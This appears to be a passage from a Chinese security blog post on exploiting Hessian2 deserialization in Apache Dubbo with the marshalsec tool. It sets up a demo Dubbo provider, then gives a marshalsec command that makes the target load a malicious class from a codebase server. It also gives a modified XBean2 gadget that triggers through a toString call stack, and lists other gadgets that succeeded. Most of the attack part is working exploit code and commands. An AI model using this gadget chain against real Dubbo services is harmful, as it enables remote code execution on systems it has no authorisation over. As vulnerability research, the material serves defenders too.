<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:dubbo="http://code.alibabatech.com/schema/dubbo"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd"><!-- 提供方应用信息,用于计算依赖关系 --><dubbo:application name="dubbo-service" /><!-- 使用multicast广播注册中心暴露服务地址 --><!-- <dubbo:registry address="multicast://224.5.6.7:1234" /> --><!-- 使用zookeeper注册中心暴露服务地址 --><dubbo:registry address="zookeeper://127.0.0.1:2181" /><!-- 用dubbo协议在20881端口暴露服务 --><dubbo:protocol name="dubbo" port="20881" /><!-- 声明需要暴露的服务接口 --><dubbo:service interface="com.threedr3am.learn.dubbo.DemoService"ref="demoService" /><!-- 和本地bean一样实现服务 --><bean id="demoService" class="com.threedr3am.learn.dubbo.DemoServiceImpl" />
</beans>

main

public class Main {public static void main(String[] args) {new ClassPathXmlApplicationContext("dubbo-provider.xml");while (true);}
}

2. 打包marshalsec并执行

在执行marshalsec前,我们得先打包一个恶意class(不需要package名),ExecObject.class放到本地80端口的web资源服务器

前面第一章我们就讲述了如何使用maven打包,接着,我们执行jar包,对dubbo服务进行攻击

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.DubboHessian --attack 127.0.0.1 20881 XBean http://127.0.0.1:80/ ExecObject

执行后发现…预期的计算器没弹出来,在经过排查后发现,是因为XBean用到的Spring AOP的触发类HotSwappableTargetSource在反序列化时抛异常了,具体原因是构造方法选择以及实例化的时候,参数传入了非基本类型,因此变成了null,导致在HotSwappableTargetSource构造方法的断言处抛异常了!

3. 修改XBean

前面说了,因为XBean用到的Spring AOP的触发类HotSwappableTargetSource在反序列化时抛异常了,所以,我们是不是可以换一个触发类?

答案是可以的,去掉HotSwappableTargetSource,利用服务端找不到service时抛远程异常,导致异常输出时,执行了gadget的toString方法,从而触发,触发栈:

getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
toString:192, Binding (javax.naming)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:557, AbstractMap (java.util)
valueOf:2994, String (java.lang)
toString:4571, Arrays (java.util)
toString:209, RpcInvocation (com.alibaba.dubbo.rpc)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
getInvoker:213, DubboProtocol (com.alibaba.dubbo.rpc.protocol.dubbo)
reply:79, DubboProtocol$1 (com.alibaba.dubbo.rpc.protocol.dubbo)
received:114, DubboProtocol$1 (com.alibaba.dubbo.rpc.protocol.dubbo)
received:175, HeaderExchangeHandler (com.alibaba.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (com.alibaba.dubbo.remoting.transport)
run:57, ChannelEventRunnable (com.alibaba.dubbo.remoting.transport.dispatcher)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

这是一个新的触发点,大家挖gadget可以往这个方向去看!

修改后的XBean2:

public interface XBean2 extends Gadget {@Args ( minArgs = 2, args = {"codebase", "classname"}, defaultArgs = {MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass} )default Object makeXBean(UtilFactory uf, String[] args) throws Exception {Context ctx = Reflections.createWithoutConstructor(WritableContext.class);Reference ref = new Reference("foo", args[ 1 ], args[ 0 ]);ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx);return uf.makeToStringTriggerStable(binding); // $NON-NLS-1$}}

接着修改HessianBase2的实现类为XBean2:

public abstract class HessianBase2 extends MarshallerBase<byte[]>implements XBean2 {//...
}

4. attack结果

如图所示:

经过测试发现:

  1. 暂时测试Spring、Spring-boot环境可打的有 Rome, Resin
  2. 能打Spring环境的有SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean2, Resin

参考

dubbo源码浅析-默认反序列化利用之hessian2:https://www.anquanke.com/post/id/197658

 

 

Published by

风君子

独自遨游何稽首 揭天掀地慰生平